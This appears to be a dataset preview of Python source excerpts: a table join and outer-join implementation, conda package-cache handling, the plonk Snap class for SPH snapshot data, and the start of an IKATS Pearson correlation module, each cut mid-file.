input stringlengths 2.65k 237k | output stringclasses 1
value |
|---|---|
return empty list
if not (self.obs and other.obs):
return Table(retname)
attr_spec_list = attrlist
if isinstance(attrlist, str):
attr_spec_list = re.split(r"[,\s]+", attrlist)
# expand attrlist to full (table, name, alias) tuples
if attr_spec_list is None:
full_attr_specs = [(self, n, n) for n in self._attr_names()]
full_attr_specs += [(other, n, n) for n in other._attr_names()]
else:
full_attr_specs = []
this_attr_names = set(self._attr_names())
other_attr_names = set(other._attr_names())
for attr_spec in attr_spec_list:
if isinstance(attr_spec, tuple):
# assume attr_spec contains at least (table, col_name), fill in alias if missing
# to be same as col_name
if len(attr_spec) == 2:
attr_spec = attr_spec + (attr_spec[-1],)
full_attr_specs.append(attr_spec)
else:
name = attr_spec
if name in this_attr_names:
full_attr_specs.append((self, name, name))
elif attr_spec in other_attr_names:
full_attr_specs.append((other, name, name))
else:
raise ValueError(f"join attribute not found: {name!r}")
# regroup attribute specs by table
this_attr_specs = [
attr_spec for attr_spec in full_attr_specs if attr_spec[0] is self
]
other_attr_specs = [
attr_spec for attr_spec in full_attr_specs if attr_spec[0] is other
]
if auto_create_indexes:
for tbl, col_list in ((self, this_cols), (other, other_cols)):
for col in col_list:
if col not in tbl._indexes:
tbl.create_index(col)
else:
# make sure all join columns are indexed
unindexed_cols = []
for tbl, col_list in ((self, this_cols), (other, other_cols)):
unindexed_cols.extend(
col for col in col_list if col not in tbl._indexes
)
if unindexed_cols:
raise ValueError(
f"indexed attributes required for join: {','.join(unindexed_cols)}"
)
# find matching rows
matchingrows = []
key_map_values = list(
zip(this_cols, other_cols, (self._indexes[key].keys() for key in this_cols))
)
for join_values in product(*(kmv[-1] for kmv in key_map_values)):
base_this_where_dict = dict(zip(this_cols, join_values))
base_other_where_dict = dict(zip(other_cols, join_values))
# compute inner join rows to start
this_rows = self.where(**base_this_where_dict)
other_rows = other.where(**base_other_where_dict)
matchingrows.append((this_rows, other_rows))
# remove attr_specs from other_attr_specs if alias is duplicate of any alias in this_attr_specs
this_attr_specs_aliases = set(alias for tbl, col, alias in this_attr_specs)
other_attr_specs = [
(tbl, col, alias)
for tbl, col, alias in other_attr_specs
if alias not in this_attr_specs_aliases
]
joinrows = []
for thisrows, otherrows in matchingrows:
for trow, orow in product(thisrows, otherrows):
retobj = default_row_class()
for _, attr_name, alias in this_attr_specs:
setattr(retobj, alias, getattr(trow, attr_name, None))
for _, attr_name, alias in other_attr_specs:
setattr(retobj, alias, getattr(orow, attr_name, None))
joinrows.append(retobj)
ret = Table(retname)
ret.insert_many(joinrows)
# add indexes as defined in source tables
for tbl, attr_name, alias in this_attr_specs + other_attr_specs:
if attr_name in tbl._indexes:
if alias not in ret._indexes:
ret.create_index(alias) # no unique indexes in join results
return ret
def outer_join(
self,
join_type,
other: "Table",
attrlist: Union[Iterable[str], str] = None,
auto_create_indexes: bool = True,
**kwargs,
):
"""
Join the objects of one table with the objects of another, based on the given
matching attributes in the named arguments. The attrlist specifies the attributes to
be copied from the source tables - if omitted, all attributes will be copied. Entries
in the attrlist may be single attribute names, or if there are duplicate names in both
tables, then a C{(table,attributename)} tuple can be given to disambiguate which
attribute is desired. A C{(table,attributename,alias)} tuple can also be passed, to
rename an attribute from a source table.
This method may be called directly, or can be constructed using the L{join_on} method and
the '+' operator. Using this syntax, the join is specified using C{table.join_on("xyz")}
to create a JoinTerm containing both table and joining attribute. Multiple JoinTerm
or tables can be added to construct a compound join expression. When complete, the
join expression gets executed by calling the resulting join definition,
using C{join_expression([attrlist])}.
@param join_type: type of outer join to be performed
@type join_type: must be Table.LEFT_OUTER_JOIN, Table.RIGHT_OUTER_JOIN, or Table.FULL_OUTER_JOIN
@param other: other table to join to
@param attrlist: list of attributes to be copied to the new joined table; if
none provided, all attributes of both tables will be used (taken from the first
object in each table)
@type attrlist: string, or list of strings or C{(table,attribute[,alias])} tuples
(list may contain both strings and tuples)
@param kwargs: attributes to join on, given as additional named arguments
of the form C{table1attr="table2attr"}, or a dict mapping attribute names.
@returns: a new Table containing the joined data as new DataObjects
"""
if join_type not in Table.OUTER_JOIN_TYPES:
join_names = [
nm
for nm, join_var in vars(Table).items()
if join_var in Table.OUTER_JOIN_TYPES
]
raise ValueError(
f"join argument must be one of [{', '.join(f'Table.{nm}' for nm in join_names)}]"
)
if not kwargs:
raise TypeError(
"must specify at least one join attribute as a named argument"
)
this_cols, other_cols = list(kwargs.keys()), list(kwargs.values())
if not all(isinstance(col, str) for col in this_cols) or not all(
isinstance(col, str) for col in other_cols
):
raise TypeError("all join keywords must be of type str")
retname = (
f"({self.table_name}:{'/'.join(this_cols)}"
"|"
f"{other.table_name}:{'/'.join(other_cols)})"
)
if self is other:
return self.clone()(retname)
attr_spec_list = attrlist
if isinstance(attrlist, str):
attr_spec_list = re.split(r"[,\s]+", attrlist)
# expand attrlist to full (table, name, alias) tuples
if attr_spec_list is None:
full_attr_specs = [(self, n, n) for n in self._attr_names()]
full_attr_specs += [(other, n, n) for n in other._attr_names()]
else:
full_attr_specs = []
this_attr_names = set(self._attr_names())
other_attr_names = set(other._attr_names())
for attr_spec in attr_spec_list:
if isinstance(attr_spec, tuple):
# assume attr_spec contains at least (table, col_name), fill in alias if missing
# to be same as col_name
if len(attr_spec) == 2:
attr_spec = attr_spec + (attr_spec[-1],)
full_attr_specs.append(attr_spec)
else:
name = attr_spec
if name in this_attr_names:
full_attr_specs.append((self, name, name))
elif attr_spec in other_attr_names:
full_attr_specs.append((other, name, name))
else:
raise ValueError(f"join attribute not found: {name!r}")
# regroup attribute specs by table
this_attr_specs = [
attr_spec for attr_spec in full_attr_specs if attr_spec[0] is self
]
other_attr_specs = [
attr_spec for attr_spec in full_attr_specs if attr_spec[0] is other
]
if auto_create_indexes:
for tbl, col_list in ((self, this_cols), (other, other_cols)):
for col in col_list:
if col not in tbl._indexes:
tbl.create_index(col)
else:
# make sure all join columns are indexed
unindexed_cols = []
for tbl, col_list in ((self, this_cols), (other, other_cols)):
unindexed_cols.extend(
col for col in col_list if col not in tbl._indexes
)
if unindexed_cols:
raise ValueError(
f"indexed attributes required for join: {','.join(unindexed_cols)}"
)
# find matching rows
matchingrows = []
if join_type == Table.RIGHT_OUTER_JOIN:
key_map_values = list(
zip(
this_cols,
other_cols,
(self._indexes[key].keys() for key in this_cols),
)
)
elif join_type == Table.LEFT_OUTER_JOIN:
key_map_values = list(
zip(
this_cols,
other_cols,
(other._indexes[key].keys() for key in other_cols),
)
)
else:
key_map_values = list(
zip(
this_cols,
other_cols,
(
set(self._indexes[this_key].keys())
| set(other._indexes[other_key].keys())
for this_key, other_key in zip(this_cols, other_cols)
),
)
)
for join_values in product(*(kmv[-1] for kmv in key_map_values)):
base_this_where_dict = dict(zip(this_cols, join_values))
base_other_where_dict = dict(zip(other_cols, join_values))
# compute inner join rows to start
this_rows = self.where(**base_this_where_dict)
other_rows = other.where(**base_other_where_dict)
if join_type in (Table.FULL_OUTER_JOIN, Table.LEFT_OUTER_JOIN):
if not this_rows:
this_outer_dict = dict.fromkeys(this_cols, None)
this_outer_dict.update(dict(zip(this_cols, join_values)))
this_rows.insert(default_row_class(**this_outer_dict))
if join_type in (Table.FULL_OUTER_JOIN, Table.RIGHT_OUTER_JOIN):
if not other_rows:
other_outer_dict = dict.fromkeys(other_cols, None)
other_outer_dict.update(dict(zip(other_cols, join_values)))
other_rows.insert(default_row_class(**other_outer_dict))
matchingrows.append((this_rows, other_rows))
# remove attr_specs from other_attr_specs if alias is duplicate of any alias in this_attr_specs
this_attr_specs_aliases = set(alias for tbl, col, alias in this_attr_specs)
other_attr_specs = [
(tbl, col, alias)
for tbl, col, alias in other_attr_specs
if alias not in this_attr_specs_aliases
]
joinrows = []
for thisrows, otherrows in matchingrows:
for trow, orow in product(thisrows, otherrows):
retobj = default_row_class()
for _, attr_name, alias in this_attr_specs:
setattr(retobj, alias, getattr(trow, attr_name, None))
for _, attr_name, alias in other_attr_specs:
setattr(retobj, alias, getattr(orow, attr_name, None))
joinrows.append(retobj)
ret = Table(retname)
ret.insert_many(joinrows)
# add indexes as defined in source tables
for tbl, attr_name, alias in this_attr_specs + other_attr_specs:
if attr_name in tbl._indexes:
if alias not in ret._indexes:
ret.create_index(alias) # no unique indexes in join results
return ret
def join_on(self, attr: str, join="inner"):
"""
Creates a JoinTerm in preparation for joining with another table, to
indicate what attribute should be used in the join. Only indexed attributes
may be used in a join.
@param attr: attribute name to join from this table (may be different
from the attribute name in the table being joined to)
@type attr: string
@returns: L{JoinTerm}"""
if attr not in self._indexes:
raise ValueError("can only join on indexed | |
# -*- coding: utf-8 -*-
# Copyright (C) 2012 Anaconda, Inc
# SPDX-License-Identifier: BSD-3-Clause
from __future__ import absolute_import, division, print_function, unicode_literals
from errno import EACCES, ENOENT, EPERM
from functools import reduce
from logging import getLogger
from os import listdir
from os.path import basename, dirname, join
from tarfile import ReadError
from .path_actions import CacheUrlAction, ExtractPackageAction
from .. import CondaError, CondaMultiError, conda_signal_handler
from .._vendor.auxlib.collection import first
from .._vendor.auxlib.decorators import memoizemethod
from ..base.constants import CONDA_TARBALL_EXTENSION, PACKAGE_CACHE_MAGIC_FILE
from ..base.context import context
from ..common.compat import (JSONDecodeError, iteritems, itervalues, odict, string_types,
text_type, with_metaclass)
from ..common.constants import NULL
from ..common.io import ProgressBar, time_recorder
from ..common.path import expand, url_to_path
from ..common.signals import signal_handler
from ..common.url import path_to_url
from ..exceptions import NoWritablePkgsDirError, NotWritableError
from ..gateways.disk.create import (create_package_cache_directory, extract_tarball,
write_as_json_to_file)
from ..gateways.disk.delete import rm_rf
from ..gateways.disk.read import (compute_md5sum, isdir, isfile, islink, read_index_json,
read_index_json_from_tarball, read_repodata_json)
from ..gateways.disk.test import file_path_is_writable
from ..models.match_spec import MatchSpec
from ..models.records import PackageCacheRecord, PackageRecord
from ..utils import human_bytes
try:
from cytoolz.itertoolz import concat, concatv, groupby
except ImportError: # pragma: no cover
from .._vendor.toolz.itertoolz import concat, concatv, groupby # NOQA
log = getLogger(__name__)
class PackageCacheType(type):
"""
This metaclass does basic caching of PackageCache instance objects.
"""
def __call__(cls, pkgs_dir):
if isinstance(pkgs_dir, PackageCacheData):
return pkgs_dir
elif pkgs_dir in PackageCacheData._cache_:
return PackageCacheData._cache_[pkgs_dir]
else:
package_cache_instance = super(PackageCacheType, cls).__call__(pkgs_dir)
PackageCacheData._cache_[pkgs_dir] = package_cache_instance
return package_cache_instance
@with_metaclass(PackageCacheType)
class PackageCacheData(object):
_cache_ = {}
def __init__(self, pkgs_dir):
self.pkgs_dir = pkgs_dir
self.__package_cache_records = None
self.__is_writable = NULL
self._urls_data = UrlsData(pkgs_dir)
def insert(self, package_cache_record):
meta = join(package_cache_record.extracted_package_dir, 'info', 'repodata_record.json')
write_as_json_to_file(meta, PackageRecord.from_objects(package_cache_record))
self._package_cache_records[package_cache_record] = package_cache_record
def load(self):
self.__package_cache_records = _package_cache_records = {}
self._check_writable() # called here to create the cache if it doesn't exist
if not isdir(self.pkgs_dir):
# no directory exists, and we didn't have permissions to create it
return
for base_name in self._dedupe_pkgs_dir_contents(listdir(self.pkgs_dir)):
full_path = join(self.pkgs_dir, base_name)
if islink(full_path):
continue
elif (isdir(full_path) and isfile(join(full_path, 'info', 'index.json'))
or isfile(full_path) and full_path.endswith(CONDA_TARBALL_EXTENSION)):
package_cache_record = self._make_single_record(base_name)
if package_cache_record:
_package_cache_records[package_cache_record] = package_cache_record
def reload(self):
self.load()
return self
def get(self, package_ref, default=NULL):
assert isinstance(package_ref, PackageRecord)
try:
return self._package_cache_records[package_ref]
except KeyError:
if default is not NULL:
return default
else:
raise
def remove(self, package_ref, default=NULL):
if default is NULL:
return self._package_cache_records.pop(package_ref)
else:
return self._package_cache_records.pop(package_ref, default)
def query(self, package_ref_or_match_spec):
# returns a generator
param = package_ref_or_match_spec
if isinstance(param, string_types):
param = MatchSpec(param)
if isinstance(param, MatchSpec):
return (pcrec for pcrec in itervalues(self._package_cache_records)
if param.match(pcrec))
else:
assert isinstance(param, PackageRecord)
return (pcrec for pcrec in itervalues(self._package_cache_records) if pcrec == param)
def iter_records(self):
return iter(self._package_cache_records)
@classmethod
def query_all(cls, package_ref_or_match_spec, pkgs_dirs=None):
if pkgs_dirs is None:
pkgs_dirs = context.pkgs_dirs
return concat(pcache.query(package_ref_or_match_spec)
for pcache in cls.all_caches_writable_first(pkgs_dirs))
# ##########################################################################################
# these class methods reach across all package cache directories (usually context.pkgs_dirs)
# ##########################################################################################
@classmethod
def first_writable(cls, pkgs_dirs=None):
# Calling this method will *create* a package cache directory if one does not already
# exist. Any caller should intend to *use* that directory for *writing*, not just reading.
if pkgs_dirs is None:
pkgs_dirs = context.pkgs_dirs
for pkgs_dir in pkgs_dirs:
package_cache = cls(pkgs_dir)
i_wri = package_cache.is_writable
if i_wri is True:
return package_cache
elif i_wri is None:
# means package cache directory doesn't exist, need to try to create it
created = create_package_cache_directory(package_cache.pkgs_dir)
if created:
package_cache.__is_writable = True
return package_cache
raise NoWritablePkgsDirError(pkgs_dirs)
@classmethod
def writable_caches(cls, pkgs_dirs=None):
if pkgs_dirs is None:
pkgs_dirs = context.pkgs_dirs
writable_caches = tuple(filter(lambda c: c.is_writable,
(cls(pd) for pd in pkgs_dirs)))
return writable_caches
@classmethod
def read_only_caches(cls, pkgs_dirs=None):
if pkgs_dirs is None:
pkgs_dirs = context.pkgs_dirs
read_only_caches = tuple(filter(lambda c: not c.is_writable,
(cls(pd) for pd in pkgs_dirs)))
return read_only_caches
@classmethod
def all_caches_writable_first(cls, pkgs_dirs=None):
if pkgs_dirs is None:
pkgs_dirs = context.pkgs_dirs
pc_groups = groupby(
lambda pc: pc.is_writable,
(cls(pd) for pd in pkgs_dirs)
)
return tuple(concatv(pc_groups.get(True, ()), pc_groups.get(False, ())))
@classmethod
def get_all_extracted_entries(cls):
package_caches = (cls(pd) for pd in context.pkgs_dirs)
return tuple(pc_entry for pc_entry in concat(map(itervalues, package_caches))
if pc_entry.is_extracted)
@classmethod
def get_entry_to_link(cls, package_ref):
pc_entry = next((pcrec for pcrec in cls.query_all(package_ref)
if pcrec.is_extracted),
None)
if pc_entry is not None:
return pc_entry
# this can happen with `conda install path/to/package.tar.bz2`
# because dist has channel '<unknown>'
# if ProgressiveFetchExtract did its job correctly, what we're looking for
# should be the matching dist_name in the first writable package cache
# we'll search all caches for a match, but search writable caches first
dist_str = package_ref.dist_str().rsplit(':', 1)[-1]
pc_entry = next((cache._scan_for_dist_no_channel(dist_str)
for cache in cls.all_caches_writable_first() if cache), None)
if pc_entry is not None:
return pc_entry
raise CondaError("No package '%s' found in cache directories." % package_ref.dist_str())
@classmethod
def tarball_file_in_cache(cls, tarball_path, md5sum=None, exclude_caches=()):
tarball_full_path, md5sum = cls._clean_tarball_path_and_get_md5sum(tarball_path, md5sum)
pc_entry = first(cls(pkgs_dir).tarball_file_in_this_cache(tarball_full_path,
md5sum)
for pkgs_dir in context.pkgs_dirs
if pkgs_dir not in exclude_caches)
return pc_entry
@classmethod
def clear(cls):
cls._cache_.clear()
def tarball_file_in_this_cache(self, tarball_path, md5sum=None):
tarball_full_path, md5sum = self._clean_tarball_path_and_get_md5sum(tarball_path,
md5sum=md5sum)
tarball_basename = basename(tarball_full_path)
pc_entry = first((pc_entry for pc_entry in itervalues(self)),
key=lambda pce: pce.tarball_basename == tarball_basename
and pce.md5 == md5sum) # NOQA
return pc_entry
@property
def _package_cache_records(self):
# don't actually populate _package_cache_records until we need it
if self.__package_cache_records is None:
self.load()
return self.__package_cache_records
@property
def is_writable(self):
# returns None if package cache directory does not exist / has not been created
if self.__is_writable is NULL:
return self._check_writable()
return self.__is_writable
def _check_writable(self):
magic_file = join(self.pkgs_dir, PACKAGE_CACHE_MAGIC_FILE)
if isfile(magic_file):
i_wri = file_path_is_writable(join(self.pkgs_dir, PACKAGE_CACHE_MAGIC_FILE))
self.__is_writable = i_wri
log.debug("package cache directory '%s' writable: %s", self.pkgs_dir, i_wri)
else:
log.trace("package cache directory '%s' does not exist", self.pkgs_dir)
self.__is_writable = i_wri = None
return i_wri
@staticmethod
def _clean_tarball_path_and_get_md5sum(tarball_path, md5sum=None):
if tarball_path.startswith('file:/'):
tarball_path = url_to_path(tarball_path)
tarball_full_path = expand(tarball_path)
if isfile(tarball_full_path) and md5sum is None:
md5sum = compute_md5sum(tarball_full_path)
return tarball_full_path, md5sum
def _scan_for_dist_no_channel(self, dist_str):
return next((pcrec for pcrec in self._package_cache_records
if pcrec.dist_str().rsplit(':', 1)[-1] == dist_str),
None)
def itervalues(self):
return iter(self.values())
def values(self):
return self._package_cache_records.values()
def __repr__(self):
args = ('%s=%r' % (key, getattr(self, key)) for key in ('pkgs_dir',))
return "%s(%s)" % (self.__class__.__name__, ', '.join(args))
def _make_single_record(self, package_filename):
if not package_filename.endswith(CONDA_TARBALL_EXTENSION):
package_filename += CONDA_TARBALL_EXTENSION
package_tarball_full_path = join(self.pkgs_dir, package_filename)
log.trace("adding to package cache %s", package_tarball_full_path)
extracted_package_dir = package_tarball_full_path[:-len(CONDA_TARBALL_EXTENSION)]
# try reading info/repodata_record.json
try:
repodata_record = read_repodata_json(extracted_package_dir)
package_cache_record = PackageCacheRecord.from_objects(
repodata_record,
package_tarball_full_path=package_tarball_full_path,
extracted_package_dir=extracted_package_dir,
)
return package_cache_record
except (IOError, OSError, JSONDecodeError) as e:
# IOError / OSError if info/repodata_record.json doesn't exists
# JsonDecodeError if info/repodata_record.json is partially extracted or corrupted
# python 2.7 raises ValueError instead of JsonDecodeError
# ValueError("No JSON object could be decoded")
log.debug("unable to read %s\n because %r",
join(extracted_package_dir, 'info', 'repodata_record.json'), e)
# try reading info/index.json
try:
raw_json_record = read_index_json(extracted_package_dir)
except (IOError, OSError, JSONDecodeError) as e:
# IOError / OSError if info/index.json doesn't exist
# JsonDecodeError if info/index.json is partially extracted or corrupted
# python 2.7 raises ValueError instead of JsonDecodeError
# ValueError("No JSON object could be decoded")
log.debug("unable to read %s\n because",
join(extracted_package_dir, 'info', 'index.json'), e)
if isdir(extracted_package_dir) and not isfile(package_tarball_full_path):
# We have a directory that looks like a conda package, but without
# (1) info/repodata_record.json or info/index.json, and (2) a conda package
# tarball, there's not much we can do. We'll just ignore it.
return None
try:
if self.is_writable:
if isdir(extracted_package_dir):
# We have a partially unpacked conda package directory. Best thing
# to do is remove it and try extracting.
rm_rf(extracted_package_dir)
try:
extract_tarball(package_tarball_full_path, extracted_package_dir)
except EnvironmentError as e:
if e.errno == ENOENT:
# FileNotFoundError(2, 'No such file or directory')
# At this point, we can assume the package tarball is bad.
# Remove everything and move on.
# see https://github.com/conda/conda/issues/6707
rm_rf(package_tarball_full_path)
rm_rf(extracted_package_dir)
try:
raw_json_record = read_index_json(extracted_package_dir)
except (IOError, OSError, JSONDecodeError):
# At this point, we can assume the package tarball is bad.
# Remove everything and move on.
rm_rf(package_tarball_full_path)
rm_rf(extracted_package_dir)
return None
else:
raw_json_record = read_index_json_from_tarball(package_tarball_full_path)
except (EOFError, ReadError) as e:
# EOFError: Compressed file ended before the end-of-stream marker was reached
# tarfile.ReadError: file could not be opened successfully
# We have a corrupted tarball. Remove the tarball so it doesn't affect
# anything, and move on.
log.debug("unable to extract info/index.json from %s\n because %r",
package_tarball_full_path, e)
rm_rf(package_tarball_full_path)
return None
# we were able to read info/index.json, so let's continue
if isfile(package_tarball_full_path):
md5 = compute_md5sum(package_tarball_full_path)
else:
md5 = None
url = self._urls_data.get_url(package_filename)
package_cache_record = PackageCacheRecord.from_objects(
raw_json_record,
url=url,
md5=md5,
package_tarball_full_path=package_tarball_full_path,
extracted_package_dir=extracted_package_dir,
)
# write the info/repodata_record.json file so we can short-circuit this next time
if self.is_writable:
repodata_record = PackageRecord.from_objects(package_cache_record)
repodata_record_path = join(extracted_package_dir, 'info', | |
<gh_stars>0
"""Snap, SubSnap, Sinks classes for snapshot files.
The Snap class contains all information related to a smoothed particle
hydrodynamics simulation snapshot file. The SubSnap class is for
accessing a subset of particles in a Snap.
"""
from __future__ import annotations
from pathlib import Path
from typing import Any, Callable, Dict, List, Tuple, Union
import h5py
import numpy as np
import pandas as pd
from numpy import ndarray
from pandas import DataFrame
from scipy.spatial import cKDTree
from scipy.spatial.transform import Rotation
from .. import visualize
from .._config import read_config
from .._logging import logger
from .._units import Quantity, array_units, generate_array_code_units
from .._units import units as plonk_units
from ..utils.kernels import kernel_names, kernel_radius
from ..utils.math import norm
from ..utils.snap import add_aliases
from . import context
from .extra import add_quantities as _add_quantities
from .readers import (
DATA_SOURCES,
snap_array_registry,
snap_properties_and_units,
snap_sink_registry,
)
class Snap:
"""Smoothed particle hydrodynamics Snap object.
Snapshot files contain the state of the simulation at a point in
time. Typical minimum data from a smoothed particle hydrodynamics
simulation include the particle positions and smoothing length, from
which the density field can be reconstructed, as well as the
particle type. In addition, the particle velocities are required to
restart the simulation.
Other data stored in the snapshot file include equation of state,
dust, and magnetic field information, as well as numerical
quantities related to time-stepping.
Examples
--------
Use load_snap to generate a Snap object.
>>> snap = plonk.load_snap('file_name.h5')
To access arrays on the particles.
>>> snap['position']
>>> snap['density']
To access sink arrays.
>>> snap.sinks['position']
>>> snap.sinks['spin']
To access a subset of particles as a SubSnap.
>>> subsnap = snap[:100]
>>> subsnap = snap[snap['x'] > 0]
>>> subsnap = snap['gas']
To set a new array directly.
>>> snap['my_r'] = np.sqrt(snap['x'] ** 2 + snap['y'] ** 2)
Alternatively, define a function.
>>> @snap.add_array()
... def my_radius(snap):
... return np.hypot(snap['x'], snap['y'])
Or, use an existing one function.
>>> @snap.add_array()
... def my_R(snap):
... return plonk.analysis.particles.radial_distance(snap)
"""
_array_aliases: Dict[str, str] = {}
_vector_arrays = {
'magnetic_field',
'position',
'spin',
'velocity',
'vorticity',
}
_dust_arrays = {
'dust_fraction',
'dust_to_gas_ratio',
'stopping_time',
}
particle_type = {
'gas': 1,
'dust': 2,
'boundary': 3,
'star': 4,
'darkmatter': 5,
'bulge': 6,
}
def __init__(self):
self.data_source = None
self.file_path = None
self._code_units = {}
self._default_units = {}
self._properties = {}
self._array_code_units = {}
self._array_registry: Dict[str, Callable] = {}
self._sink_registry: Dict[str, Callable] = {}
self._name_map = {}
self._cache_arrays = True
self._arrays = {}
self._sink_arrays = {}
self._sinks = None
self._file_pointer = None
self._num_particles = -1
self._num_particles_of_type = -1
self._num_sinks = -1
self._num_dust_species = -1
self.rotation = None
self.translation = None
self._tree = None
def load_snap(
self,
filename: Union[str, Path],
data_source: str,
config: Union[str, Path] = None,
):
"""Load snapshot from file.
Parameters
----------
filename
The path to the file.
data_source : optional
The SPH software that produced the data. Default is 'phantom'.
config : optional
The path to a Plonk config.toml file.
"""
logger.debug(f'Loading Phantom snapshot: {filename}')
# Set file_path
file_path = Path(filename).expanduser()
if not file_path.is_file():
raise FileNotFoundError('Cannot find snapshot file')
self.file_path = file_path
# Set file_pointer
self._file_pointer = h5py.File(file_path, mode='r')
# Set data_source
if data_source.lower() not in DATA_SOURCES:
raise ValueError(
f'Unknown data source. Available data sources:\n{DATA_SOURCES}'
)
self.data_source = data_source
# Set properties and units
self._properties, self._code_units = snap_properties_and_units(
file_pointer=self._file_pointer, data_source=self.data_source
)
self._array_code_units = generate_array_code_units(self._code_units)
self._default_units = array_units(config=config)
# Set name_map
conf = read_config(filename=config)
self._name_map = {
'particles': conf[self.data_source]['particles']['namemap'],
'sinks': conf[self.data_source]['sinks']['namemap'],
}
# Set array_registry
self._array_registry.update(
snap_array_registry(
file_pointer=self._file_pointer,
data_source=self.data_source,
name_map=self._name_map['particles'],
)
)
# Set sink_registry
self._sink_registry.update(
snap_sink_registry(
file_pointer=self._file_pointer,
data_source=self.data_source,
name_map=self._name_map['sinks'],
)
)
# Add aliases
add_aliases(self, filename=config)
# Make extra derived quantities available
self.add_quantities()
return self
def close_file(self):
"""Close access to underlying file."""
self._file_pointer.close()
def reopen_file(self):
"""Re-open access to the underlying file."""
self._file_pointer = h5py.File(self.file_path, mode='r')
def add_array(self, vector: bool = False, dust: bool = False) -> Callable:
"""Decorate function to add array to Snap.
This function decorates a function that returns an array. The
name of the function is the string with which to reference the
array.
The function being decorated should return a Pint Quantity
array, not a unitless numpy array.
Parameters
----------
vector
A bool to represent if the array is a vector in space that
should have rotations applied to it. If True the rotation
should be applied. If False the rotation cannot be applied.
Default is False.
dust
A bool to represent if the array is a dust array, in that
it has one column per dust species. Default is False.
Returns
-------
Callable
The decorator which returns the array.
"""
def _add_array(fn):
self._array_registry[fn.__name__] = fn
if vector is True:
self._vector_arrays.add(fn.__name__)
if dust is True:
self._dust_arrays.add(fn.__name__)
return fn
return _add_array
def add_alias(self, name: str, alias: str) -> None:
"""Add alias to array.
Parameters
----------
name
The name of the array.
alias
The alias to reference the array.
"""
self._array_aliases[alias] = name
def add_unit(self, name: str, unit: str) -> Snap:
"""Add missing code unit to array.
Add code units to an array from file that has not had units set
automatically.
Parameters
----------
name
The name of the array
unit
A unit string representing the array code unit, e.g.
'1.234 kg * m / s'.
"""
self._array_code_units[name] = plonk_units(unit)
if name in self._arrays:
del self[name]
return self
def loaded_arrays(self) -> List[str]:
"""Return a list of loaded arrays.
Returns
-------
List
A list of names of loaded particle arrays.
"""
return sorted(self._arrays.keys())
def _available_arrays(
self, sinks: bool = False, verbose: bool = False, aliases: bool = False
) -> List[str]:
"""Return a list of available arrays.
Parameters
----------
sinks
If True, return available sink arrays. Default is
False.
verbose
Also display suffixed arrays, e.g. 'position_x',
'position_y', etc. Default is False
aliases
If True, return array aliases. Default is False.
Returns
-------
List
A list of names of available arrays.
"""
if sinks:
loaded = self.sinks.loaded_arrays()
registered = list(self._sink_registry.keys())
else:
loaded = self.loaded_arrays()
registered = list(self._array_registry.keys())
if verbose:
for arr in self._vector_arrays:
if arr in registered:
registered += [f'{arr}_x', f'{arr}_y', f'{arr}_z', f'{arr}_mag']
for arr in self._dust_arrays:
if arr in registered:
registered += [
f'{arr}_{n:03}' for n in range(1, self.num_dust_species + 1)
]
if aliases:
extra = [
key
for key, val in self._array_aliases.items()
if val[0] in self.loaded_arrays() or val in self._array_registry
]
if verbose:
_extra = list()
for arr in extra:
if self.base_array_name(arr) in self._vector_arrays:
for suffix in ['x', 'y', 'z', 'mag']:
_extra.append(arr + f'_{suffix}')
if self.base_array_name(arr) in self._dust_arrays:
suffixes = [f'{n+1:03}' for n in range(self.num_dust_species)]
for suffix in suffixes:
_extra.append(arr + f'_{suffix}')
extra += _extra
return sorted(set(extra), key=lambda x: x.lower())
return sorted(set(loaded + registered))
def available_arrays(
self, verbose: bool = False, aliases: bool = False
) -> List[str]:
"""Return a list of available particle arrays.
Parameters
----------
verbose
Also display suffixed arrays, e.g. 'position_x',
'position_y', etc. Default is False
aliases
If True, return array aliases. Default is False.
Returns
-------
List
A list of names of available arrays.
"""
return self._available_arrays(sinks=False, verbose=verbose, aliases=aliases)
def bulk_load(self, arrays: List[str] = None) -> Snap:
"""Load arrays into memory in bulk.
Parameters
----------
arrays
A list of arrays to load as strings. If None, then load all
available arrays.
"""
if arrays is None:
_arrays = self.available_arrays()
else:
_arrays = arrays
with self.context(cache=True):
for array in _arrays:
try:
self[array]
except ValueError as e:
logger.warning(f'Cannot load {array}\n{e}')
return self
def bulk_unload(self, arrays: List[str] = None) -> Snap:
"""Un-load arrays from memory in bulk.
Parameters
----------
arrays
A list of arrays to load as strings. If None, then unload
all loaded arrays.
"""
if arrays is None:
_arrays = self.loaded_arrays()
else:
_arrays = arrays
for array in _arrays:
try:
del self[array]
except KeyError:
logger.warning(f'Cannot un-load {array}')
return self
@property
def properties(self) -> Dict[str, Any]:
"""Snap properties."""
return {key: self._properties[key] for key in sorted(self._properties.keys())}
@property
def default_units(self) -> Dict[str, Any]:
"""Snap default units."""
return {
key: self._default_units[key] for key in sorted(self._default_units.keys())
}
def set_units(self, **kwargs) -> Snap:
"""Set default unit for arrays.
Parameters
----------
kwargs
Keyword arguments with keys as the array name, e.g.
'pressure', and with values as | |
<filename>correlation/loop.py<gh_stars>0
"""
Copyright 2018-2019 CS Systèmes d'Information
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from _collections import defaultdict
from functools import lru_cache
import itertools
import json
import logging
from math import ceil, floor
from ikats.core.library.exception import IkatsException, IkatsInputContentError
from ikats.core.library.spark import ScManager
from ikats.core.resource.api import IkatsApi
from ikats.core.resource.interface import ResourceLocator
from natsort.natsort import natsorted
from scipy.stats.stats import pearsonr
from ikats.algo.correlation.data import CorrelationDataset, \
CorrelationsBycontext, get_triangular_matrix
import numpy as np
"""
This module integrates the 'correlation loop' algorithm, industrialized:
- see the top level function correlation_ts_loop() below, configured into IKATS catalogue.
"""
# LOGGER:
LOGGER = logging.getLogger(__name__)
PEARSON = "Pearson"
CORRELATION_METHODS = [PEARSON]
# 2 is chosen because it is impossible to compute this value
# => used initializing
NOT_YET_COMPUTED_CORR = 2
# Value encoded in JSON result for np.nan values
NAN = "NaN"
def the_pearson(ts_1, ts_2):
"""
This function performs the Pearson correlation between two time series
If a time series has a variance = 0, the corr value is equal to NaN
:param ts_1: first time series
:type ts_1: np.array
:param ts_2: second time series
:type ts_2: np.array
:return: Pierson correlation of x and ts_2
:rtype: float or NaN
"""
# Ugly and critical: time series should be resampled
the_min = min(ts_1.size, ts_2.size)
